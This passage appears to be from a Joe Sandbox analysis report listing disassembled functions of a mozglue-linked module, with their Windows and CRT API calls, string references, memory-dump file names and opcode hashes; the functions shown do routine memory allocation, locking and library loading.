moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5E82BC,?,?), ref: 6C5E649B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E64A9

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E653F
free.MOZGLUE(?), ref: 6C5E655A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction ID: 990e4a6c5b7bfcdbecc680458b6d647096665b742da5f0d009d51041a66f46f4
Opcode Fuzzy Hash: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction Fuzzy Hash: 003181B5A043059FC704CF14D88069EBBE4FF89314F40442EE85A97741DB34E919CB96

Function 6C5DFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5DFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5DFFF5
free.MOZGLUE(?,?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5E001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5E002A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction ID: 86481ef2ef319477e5278dfe31cc76e7cfa570f9dee89733d0664d46ce90e840
Opcode Fuzzy Hash: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction Fuzzy Hash: DA21D6B2A002165BC718DE7C9C948AFB7BAFBC93247250738E525D7780EB71AD0187E5

Function 6C5BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB4F5
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB502
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB542
free.MOZGLUE(?), ref: 6C5BB578

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction ID: 87d1e21dcf8f64cb89cdc75139f47cafdca46d96d00ca8120aa426b6a3e84de6
Opcode Fuzzy Hash: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction Fuzzy Hash: 5C11F030A04B00C7C3118F2AC9807A5B7B0FFD6318F10570AD84A63A02FBF4B1C18B96

Function 6C5E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5AF20E,?), ref: 6C5E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5AF20E,00000000,?), ref: 6C5E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5E3E0E

Part of subcall function 6C5DCC00: GetCurrentProcess.KERNEL32(?,?,6C5A31A7), ref: 6C5DCC0D
Part of subcall function 6C5DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5A31A7), ref: 6C5DCC16

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction ID: 54c36f2300aacf374a4ab28a68a95182243e461c5d95669c4df6d6bd7a5cba32
Opcode Fuzzy Hash: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction Fuzzy Hash: EDF012715002087FD700AB55DC81DAB376DEB86624F050020FE0957741D739BD5596FB

Function 6C5F2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F208E
free.MOZGLUE(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F20A3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction ID: 391da3366dc8c6688c1ce1f87a9af8fec735c5d15e5b594202f07a721ba04a0f
Opcode Fuzzy Hash: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction Fuzzy Hash: 1AF0B4B2100600DBC7118F17DC88B9BB7F9EFC6364F10051AE94687710C776A806CB9A

Function 6C5F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5F85D3

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5F8725

Strings

map/set<T> too long, xrefs: 6C5F8720

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction ID: 8744cc00671aabb540df735202770512f76d75cb83b376f8c0167df48dc31244
Opcode Fuzzy Hash: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction Fuzzy Hash: 94516474600641CFC705CF1AC884B5ABBF1BF5A318F18C58AD8695BB52C335E886CF92

Function 6C5ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5ABE8F

Strings

0, xrefs: 6C5ABE5B

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction ID: e1e1b2850043cf09a21d4318144441802e4d438342b90bb6193782944b4280db
Opcode Fuzzy Hash: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction Fuzzy Hash: 8C41B171909749CFC701DFBAC881A9FBBF4AF8A348F004A1DF98597611D730D94A8B92

Function 6C5E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5E3D6C

Strings

d, xrefs: 6C5E3D58

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction ID: b3de1599416444cc140386dc4567eb343d23b19b8ce20dcefd6d08b4140a8cc1
Opcode Fuzzy Hash: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction Fuzzy Hash: F3113431E04688D7DF018F6ECC444EDB775EFDA258F458229DC459B612EB34A984C390

Function 6C5B4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

Strings

GetNtLoaderAPI, xrefs: 6C5B4744

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction ID: e377d0aa49a38f1f29246ed5ffa417c707ad2c65e92467725175113c95433efa
Opcode Fuzzy Hash: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction Fuzzy Hash: E2018C753052159FDF109FA78894A1D7BB9EB8A311F040069EA06D7300CB78D802CF9A

Function 6C606DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C606E22
__Init_thread_footer.LIBCMT ref: 6C606E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C606E1D

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction ID: 024e4cc1d8689df441d8ceaff222fce83e046cd8f734c1fc08befb674e403705
Opcode Fuzzy Hash: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction Fuzzy Hash: 26F0FA30309380CAEB008B69CAA0EC277729742B18F040165C80186FA1CA29F987CF9F

Function 6C5B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B9EEF

Strings

NaN, xrefs: 6C5B9EC1
Infinity, xrefs: 6C5B9EB7

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction ID: fbaf3a5bb5981a9dc85788cc8266dce170ca99ea17aa831848620ec5fdbcdc7c
Opcode Fuzzy Hash: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction Fuzzy Hash: E5F0A970600262CAEB008F1ADE96B823BF1A35371AF600E19D5041AB80D73E7946CF8F

Function 6C5B6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C42

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C58

Strings

0K^l, xrefs: 6C5B6C33, 6C5B6C41, 6C5B6C57

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K^l
API String ID: 1967447596-3449559093
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7730db33859605fa4891f2fc2e51ff307dea3b65e17dffbf0f658fc81488f961
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 74E026F1A103004ADB0CD8799C2A52A79C8CB352A87044A35E826F3BC8FF34F9408051

Function 6C5B3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62F860), ref: 6C5B385C
ReleaseSRWLockExclusive.KERNEL32(6C62F860,?), ref: 6C5B3871

Strings

,bl, xrefs: 6C5B387A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,bl
API String ID: 17069307-4033880889
Opcode ID: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction ID: c587f609c1da52f53258d3f17e377b0dcfd55333d9ce8ae54d14a3b2ce5bb89a
Opcode Fuzzy Hash: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction Fuzzy Hash: 6CE0DF32916A29D7C7019FA7985158ABFB8EE83AA17044515F80A3BE00CB3CA4408ECF

Function 6C5BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5BBEF5

Strings

cryptbase.dll, xrefs: 6C5BBEF0

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction ID: 5a8e827c48539296f82e644b6e10bc4caaacba438bdb67aedd30e8c440003529
Opcode Fuzzy Hash: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction Fuzzy Hash: 99D0C731184208EAD740BA518D56B253B74E741755F10C421F79654961C7F5A451CF58

Function 6C5FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB628

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5FB127,?,?,?,?,?,?,?,?), ref: 6C5FB74D

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction ID: b712c67391636e8cc1ced318c4a05d7d813e26569a77d797f07b665b612d7291
Opcode Fuzzy Hash: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction Fuzzy Hash: 6651BF71A06216CBDB18EF18CD8065EB7B5FF85304F55852DC86AAB700E731A806CFA1

Function 6C5FDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5EFF2A), ref: 6C5FDFFD

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C5EFF2A), ref: 6C5FE0FE

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction ID: 53dfd28938f0a45e317777257ab16be6561e4e64da06be9331d203c65a2feaab
Opcode Fuzzy Hash: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction Fuzzy Hash: F841B3B16046168FEB18CF68DC8075A77BAEB45308F244939D526DB740E7B2E906CFD2

Function 6C5F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5F6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6F5C

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction ID: fe99e3e7cc7026cdc591976d874872a8b6039d257af178db3d3df5153889b693
Opcode Fuzzy Hash: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction Fuzzy Hash: FA31C571A1060A8FEB08CF2CCD806AA73E9EB85344F504639D52AC7655EF31E65ACB91

Function 6C60B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5B0A4D), ref: 6C60B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5B0A4D), ref: 6C60B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5B0A4D), ref: 6C60B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5B0A4D), ref: 6C60B67F

